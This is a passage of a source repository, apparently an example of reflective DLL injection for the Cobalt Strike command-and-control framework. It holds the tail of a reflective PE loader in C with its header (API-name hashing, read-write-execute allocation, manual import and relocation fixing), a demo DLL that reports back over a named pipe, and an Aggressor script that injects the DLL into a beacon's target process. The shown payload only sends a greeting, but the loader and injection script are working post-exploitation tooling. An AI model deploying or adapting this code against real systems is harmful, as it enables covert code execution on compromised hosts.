209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
210 |
211 | // uiNameArray = the address of the modules export directory entry
212 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
213 |
214 | // get the VA of the export directory
215 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
216 |
217 | // get the VA for the array of name pointers
218 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
219 |
220 | // get the VA for the array of name ordinals
221 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
222 |
223 | usCounter = 1;
224 |
225 | // loop while we still have imports to find
226 | while (usCounter > 0)
227 | {
228 | // compute the hash values for this function name
229 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
230 |
231 | // if we have found a function we want we get its virtual address
232 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
233 | {
234 | // get the VA for the array of addresses
235 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
236 |
237 | // use this functions name ordinal as an index into the array of name pointers
238 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
239 |
240 | // store this functions VA
241 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
243 |
244 | // decrement our counter
245 | usCounter--;
246 | }
247 |
248 | // get the next exported function name
249 | uiNameArray += sizeof(DWORD);
250 |
251 | // get the next exported function name ordinal
252 | uiNameOrdinals += sizeof(WORD);
253 | }
254 | }
255 |
256 | // we stop searching when we have found everything we need.
257 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
258 | break;
259 |
260 | // get the next entry
261 | uiValueA = DEREF(uiValueA);
262 | }
263 |
264 | // STEP 2: load our image into a new permanent location in memory...
265 |
266 | // get the VA of the NT Header for the PE to be loaded
267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
268 |
269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
272 |
273 | // we must now copy over the headers
274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
275 | uiValueB = uiLibraryAddress;
276 | uiValueC = uiBaseAddress;
277 |
278 | while (uiValueA--)
279 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
280 |
281 | // STEP 3: load in all of our sections...
282 |
283 | // uiValueA = the VA of the first section
284 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
285 |
286 | // itterate through all sections, loading them into memory.
287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
288 | while (uiValueE--)
289 | {
290 | // uiValueB is the VA for this section
291 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
292 |
293 | // uiValueC if the VA for this sections data
294 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
295 |
296 | // copy the section over
297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
298 |
299 | while (uiValueD--)
300 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
301 |
302 | // get the VA of the next section
303 | uiValueA += sizeof(IMAGE_SECTION_HEADER);
304 | }
305 |
306 | // STEP 4: process our images import table...
307 |
308 | // uiValueB = the address of the import directory
309 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
310 |
311 | // we assume their is an import table to process
312 | // uiValueC is the first entry in the import table
313 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
314 |
315 | // itterate through all imports
316 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
317 | {
318 | // use LoadLibraryA to load the imported module into memory
319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
320 |
321 | // uiValueD = VA of the OriginalFirstThunk
322 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
323 |
324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
325 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
326 |
327 | // itterate through all imported functions, importing by ordinal if no name present
328 | while (DEREF(uiValueA))
329 | {
330 | // sanity check uiValueD as some compilers only import by FirstThunk
331 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
332 | {
333 | // get the VA of the modules NT Header
334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
335 |
336 | // uiNameArray = the address of the modules export directory entry
337 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
338 |
339 | // get the VA of the export directory
340 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
341 |
342 | // get the VA for the array of addresses
343 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
344 |
345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses
346 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
347 |
348 | // patch in the address for this imported function
349 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
350 | }
351 | else
352 | {
353 | // get the VA of this functions import by name struct
354 | uiValueB = (uiBaseAddress + DEREF(uiValueA));
355 |
356 | // use GetProcAddress and patch in the address for this imported function
357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
358 | }
359 | // get the next imported function
360 | uiValueA += sizeof(ULONG_PTR);
361 | if (uiValueD)
362 | uiValueD += sizeof(ULONG_PTR);
363 | }
364 |
365 | // get the next import
366 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
367 | }
368 |
369 | // STEP 5: process all of our images relocations...
370 |
371 | // calculate the base address delta and perform relocations (even if we load at desired image base)
372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
373 |
374 | // uiValueB = the address of the relocation directory
375 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
376 |
377 | // check if their are any relocations present
378 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
379 | {
380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
381 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
382 |
383 | // and we itterate through all entries...
384 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
385 | {
386 | // uiValueA = the VA for this relocation block
387 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
388 |
389 | // uiValueB = number of entries in this relocation block
390 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
391 |
392 | // uiValueD is now the first entry in the current relocation block
393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
394 |
395 | // we itterate through all the entries in the current block...
396 | while (uiValueB--)
397 | {
398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
399 | // we dont use a switch statement to avoid the compiler building a jump table
400 | // which would not be very position independent!
401 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
402 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
403 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
404 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
405 | #ifdef WIN_ARM
406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
407 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
408 | {
409 | register DWORD dwInstruction;
410 | register DWORD dwAddress;
411 | register WORD wImm;
412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
413 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
414 | // flip the words to get the instruction as expected
415 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
416 | // sanity chack we are processing a MOV instruction...
417 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
418 | {
419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate)
420 | wImm = (WORD)(dwInstruction & 0x000000FF);
421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
424 | // apply the relocation to the target address
425 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
426 | // now create a new instruction with the same opcode and register param.
427 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
428 | // patch in the relocated address...
429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF);
430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
433 | // now flip the instructions words and patch back into the code...
434 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
435 | }
436 | }
437 | #endif
438 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
439 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
440 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
441 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
442 |
443 | // get the next entry in the current relocation block
444 | uiValueD += sizeof(IMAGE_RELOC);
445 | }
446 |
447 | // get the next entry in the relocation directory
448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
449 | }
450 | }
451 |
452 | // STEP 6: call our images entry point
453 |
454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point
455 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
456 |
457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
458 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
459 |
460 | // call our respective entry point, fudging our hInstance value
461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
463 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
464 | #else
465 | // if we are injecting an DLL via a stub we call DllMain with no parameter
466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
467 | #endif
468 |
469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
470 | return uiValueA;
471 | }
472 | //===============================================================================================//
473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
474 |
475 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
476 | {
477 | BOOL bReturnValue = TRUE;
478 | switch (dwReason)
479 | {
480 | case DLL_QUERY_HMODULE:
481 | if (lpReserved != NULL)
482 | *(HMODULE*)lpReserved = hAppInstance;
483 | break;
484 | case DLL_PROCESS_ATTACH:
485 | hAppInstance = hinstDLL;
486 | break;
487 | case DLL_PROCESS_DETACH:
488 | case DLL_THREAD_ATTACH:
489 | case DLL_THREAD_DETACH:
490 | break;
491 | }
492 | return bReturnValue;
493 | }
494 |
495 | #endif
496 | //===============================================================================================//
--------------------------------------------------------------------------------
/ReflectiveDll/ReflectiveLoader.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 | #include
34 |
35 | #include "ReflectiveDLLInjection.h"
36 |
37 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
38 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
39 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
40 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
41 |
42 | #define KERNEL32DLL_HASH 0x6A4ABC5B
43 | #define NTDLLDLL_HASH 0x3CFA685D
44 |
45 | #define LOADLIBRARYA_HASH 0xEC0E4E8E
46 | #define GETPROCADDRESS_HASH 0x7C0DFCAA
47 | #define VIRTUALALLOC_HASH 0x91AFCA54
48 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
49 |
50 | #define IMAGE_REL_BASED_ARM_MOV32A 5
51 | #define IMAGE_REL_BASED_ARM_MOV32T 7
52 |
53 | #define ARM_MOV_MASK (DWORD)(0xFBF08000)
54 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
55 | #define ARM_MOVW 0xF2400000
56 | #define ARM_MOVT 0xF2C00000
57 |
58 | #define HASH_KEY 13
59 | //===============================================================================================//
60 | #pragma intrinsic( _rotr )
61 |
62 | __forceinline DWORD ror(DWORD d)
63 | {
64 | return _rotr(d, HASH_KEY);
65 | }
66 |
67 | __forceinline DWORD hash(char* c)
68 | {
69 | register DWORD h = 0;
70 | do
71 | {
72 | h = ror(h);
73 | h += *c;
74 | } while (*++c);
75 |
76 | return h;
77 | }
78 | //===============================================================================================//
79 | typedef struct _UNICODE_STR
80 | {
81 | USHORT Length;
82 | USHORT MaximumLength;
83 | PWSTR pBuffer;
84 | } UNICODE_STR, * PUNICODE_STR;
85 |
86 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
87 | //__declspec( align(8) )
88 | typedef struct _LDR_DATA_TABLE_ENTRY
89 | {
90 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
91 | LIST_ENTRY InMemoryOrderModuleList;
92 | LIST_ENTRY InInitializationOrderModuleList;
93 | PVOID DllBase;
94 | PVOID EntryPoint;
95 | ULONG SizeOfImage;
96 | UNICODE_STR FullDllName;
97 | UNICODE_STR BaseDllName;
98 | ULONG Flags;
99 | SHORT LoadCount;
100 | SHORT TlsIndex;
101 | LIST_ENTRY HashTableEntry;
102 | ULONG TimeDateStamp;
103 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
104 |
105 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA
106 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
107 | {
108 | DWORD dwLength;
109 | DWORD dwInitialized;
110 | LPVOID lpSsHandle;
111 | LIST_ENTRY InLoadOrderModuleList;
112 | LIST_ENTRY InMemoryOrderModuleList;
113 | LIST_ENTRY InInitializationOrderModuleList;
114 | LPVOID lpEntryInProgress;
115 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
116 |
117 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
118 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
119 | {
120 | struct _PEB_FREE_BLOCK* pNext;
121 | DWORD dwSize;
122 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
123 |
124 | // struct _PEB is defined in Winternl.h but it is incomplete
125 | // WinDbg> dt -v ntdll!_PEB
126 | typedef struct __PEB // 65 elements, 0x210 bytes
127 | {
128 | BYTE bInheritedAddressSpace;
129 | BYTE bReadImageFileExecOptions;
130 | BYTE bBeingDebugged;
131 | BYTE bSpareBool;
132 | LPVOID lpMutant;
133 | LPVOID lpImageBaseAddress;
134 | PPEB_LDR_DATA pLdr;
135 | LPVOID lpProcessParameters;
136 | LPVOID lpSubSystemData;
137 | LPVOID lpProcessHeap;
138 | PRTL_CRITICAL_SECTION pFastPebLock;
139 | LPVOID lpFastPebLockRoutine;
140 | LPVOID lpFastPebUnlockRoutine;
141 | DWORD dwEnvironmentUpdateCount;
142 | LPVOID lpKernelCallbackTable;
143 | DWORD dwSystemReserved;
144 | DWORD dwAtlThunkSListPtr32;
145 | PPEB_FREE_BLOCK pFreeList;
146 | DWORD dwTlsExpansionCounter;
147 | LPVOID lpTlsBitmap;
148 | DWORD dwTlsBitmapBits[2];
149 | LPVOID lpReadOnlySharedMemoryBase;
150 | LPVOID lpReadOnlySharedMemoryHeap;
151 | LPVOID lpReadOnlyStaticServerData;
152 | LPVOID lpAnsiCodePageData;
153 | LPVOID lpOemCodePageData;
154 | LPVOID lpUnicodeCaseTableData;
155 | DWORD dwNumberOfProcessors;
156 | DWORD dwNtGlobalFlag;
157 | LARGE_INTEGER liCriticalSectionTimeout;
158 | DWORD dwHeapSegmentReserve;
159 | DWORD dwHeapSegmentCommit;
160 | DWORD dwHeapDeCommitTotalFreeThreshold;
161 | DWORD dwHeapDeCommitFreeBlockThreshold;
162 | DWORD dwNumberOfHeaps;
163 | DWORD dwMaximumNumberOfHeaps;
164 | LPVOID lpProcessHeaps;
165 | LPVOID lpGdiSharedHandleTable;
166 | LPVOID lpProcessStarterHelper;
167 | DWORD dwGdiDCAttributeList;
168 | LPVOID lpLoaderLock;
169 | DWORD dwOSMajorVersion;
170 | DWORD dwOSMinorVersion;
171 | WORD wOSBuildNumber;
172 | WORD wOSCSDVersion;
173 | DWORD dwOSPlatformId;
174 | DWORD dwImageSubsystem;
175 | DWORD dwImageSubsystemMajorVersion;
176 | DWORD dwImageSubsystemMinorVersion;
177 | DWORD dwImageProcessAffinityMask;
178 | DWORD dwGdiHandleBuffer[34];
179 | LPVOID lpPostProcessInitRoutine;
180 | LPVOID lpTlsExpansionBitmap;
181 | DWORD dwTlsExpansionBitmapBits[32];
182 | DWORD dwSessionId;
183 | ULARGE_INTEGER liAppCompatFlags;
184 | ULARGE_INTEGER liAppCompatFlagsUser;
185 | LPVOID lppShimData;
186 | LPVOID lpAppCompatInfo;
187 | UNICODE_STR usCSDVersion;
188 | LPVOID lpActivationContextData;
189 | LPVOID lpProcessAssemblyStorageMap;
190 | LPVOID lpSystemDefaultActivationContextData;
191 | LPVOID lpSystemAssemblyStorageMap;
192 | DWORD dwMinimumStackCommit;
193 | } _PEB, * _PPEB;
194 |
195 | typedef struct
196 | {
197 | WORD offset : 12;
198 | WORD type : 4;
199 | } IMAGE_RELOC, * PIMAGE_RELOC;
200 | //===============================================================================================//
201 | #endif
202 | //===============================================================================================//
203 |
--------------------------------------------------------------------------------
/ReflectiveDll/dllmain.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "ReflectiveLoader.h"
5 |
6 | extern HINSTANCE hAppInstance;
7 |
8 | int LetsGo() {
9 | // Create named pipe: this will get patched in CNA
10 | HANDLE hPipe = CreateNamedPipeA(
11 | "\\\\.\\pipe\\youcantpatchthis",
12 | PIPE_ACCESS_DUPLEX,
13 | (PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT),
14 | 1,
15 | 0x1000,
16 | 0x1000,
17 | 0,
18 | NULL);
19 |
20 | if (hPipe == INVALID_HANDLE_VALUE) {
21 | return 1;
22 | }
23 |
24 | // Wait for beacon to connect
25 | while (!ConnectNamedPipe(hPipe, 0) && GetLastError() != ERROR_PIPE_CONNECTED);
26 |
27 | // send output
28 | std::string message = "[+] Hello from rDLL (via named pipe)!";
29 | DWORD dwBytesWritten = 0;
30 | WriteFile(hPipe, message.c_str(), message.length(), &dwBytesWritten, 0);
31 | FlushFileBuffers(hPipe);
32 |
33 | // cleanup
34 | DisconnectNamedPipe(hPipe);
35 | CloseHandle(hPipe);
36 | return 0;
37 | }
38 |
39 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
40 | {
41 | BOOL bReturnValue = TRUE;
42 | switch (dwReason)
43 | {
44 | case DLL_QUERY_HMODULE:
45 | if (lpReserved != NULL)
46 | *(HMODULE*)lpReserved = hAppInstance;
47 | break;
48 | case DLL_PROCESS_ATTACH:
49 | hAppInstance = hinstDLL;
50 | LetsGo();
51 | fflush(stdout);
52 | case DLL_PROCESS_DETACH:
53 | case DLL_THREAD_ATTACH:
54 | case DLL_THREAD_DETACH:
55 | break;
56 | }
57 | return bReturnValue;
58 | }
--------------------------------------------------------------------------------
/cna/bin/ReflectiveDll.x64.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rxwx/cs-rdll-ipc-example/2d331dae5d5dd84e5d6fbc5a0c152e690539c70f/cna/bin/ReflectiveDll.x64.dll
--------------------------------------------------------------------------------
/cna/bin/ReflectiveDll.x86.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rxwx/cs-rdll-ipc-example/2d331dae5d5dd84e5d6fbc5a0c152e690539c70f/cna/bin/ReflectiveDll.x86.dll
--------------------------------------------------------------------------------
/cna/pipetest.cna:
--------------------------------------------------------------------------------
1 | import beacon.CommandBuilder;
2 | import common.CommonUtils;
3 | import common.ReflectiveDLL;
4 |
5 | $ORIG_PIPE_NAME = "youcantpatchthis";
6 | $CALLBACK_TYPE = 32;
7 | $WAIT_TIME = 15000;
8 | $DESCRIPTION = "pipetest";
9 | $JOB_TYPE = 40;
10 |
11 | sub inject {
12 | $bid = $1;
13 | $arch = binfo($1, "barch");
14 | $pid = binfo($1, "pid");
15 | $builder = [new CommandBuilder];
16 |
17 | if ($arch eq "x64") {
18 | $dllBytes = [CommonUtils readFile: script_resource("bin/ReflectiveDll.x64.dll")];
19 | [$builder setCommand: 43];
20 | }
21 | else {
22 | $dllBytes = [CommonUtils readFile: script_resource("bin/ReflectiveDll.x86.dll")];
23 | [$builder setCommand: 9];
24 | }
25 | btask($bid, "DLL size: ". strlen($dllBytes));
26 |
27 | $offset = [ReflectiveDLL findReflectiveLoader: $dllBytes];
28 | if($offset <= 0) {
29 | berror($1, "Could not find ReflectiveLoader");
30 | return;
31 | }
32 |
33 | $pipeName = "\\\\.\\pipe\\" . [CommonUtils garbage: $ORIG_PIPE_NAME];
34 | btask($bid, "Pipe Name: ". $pipeName);
35 | $dllBytes = [CommonUtils strrep: $dllBytes, "\\\\.\\pipe\\" . $ORIG_PIPE_NAME, $pipeName];
36 | btask($bid, "DLL size with pipe patched: " . strlen($dllBytes));
37 |
38 | # inject the rDLL
39 | [$builder addInteger: parseNumber($pid)];
40 | [$builder addInteger: $offset];
41 | [$builder addString: [CommonUtils bString: $dllBytes]];
42 | $job1 = [$builder build];
43 |
44 | # get the output from pipe
45 | [$builder setCommand: $JOB_TYPE];
46 | [$builder addInteger: parseNumber($pid)];
47 | [$builder addShort: $CALLBACK_TYPE];
48 | [$builder addShort: $WAIT_TIME];
49 | [$builder addLengthAndString: $pipeName];
50 | [$builder addLengthAndString: $DESCRIPTION];
51 | $job2 = [$builder build];
52 | call("beacons.task", $null, $bid, cast($job1, 'b'));
53 | call("beacons.task", $null, $bid, cast($job2, 'b'));
54 | }
55 |
56 | alias pipetest {
57 | $bid = $1;
58 | inject($bid);
59 | }
60 |
61 | beacon_command_register(
62 | "pipetest",
63 | "Test pipe output in beacon.");
64 |
--------------------------------------------------------------------------------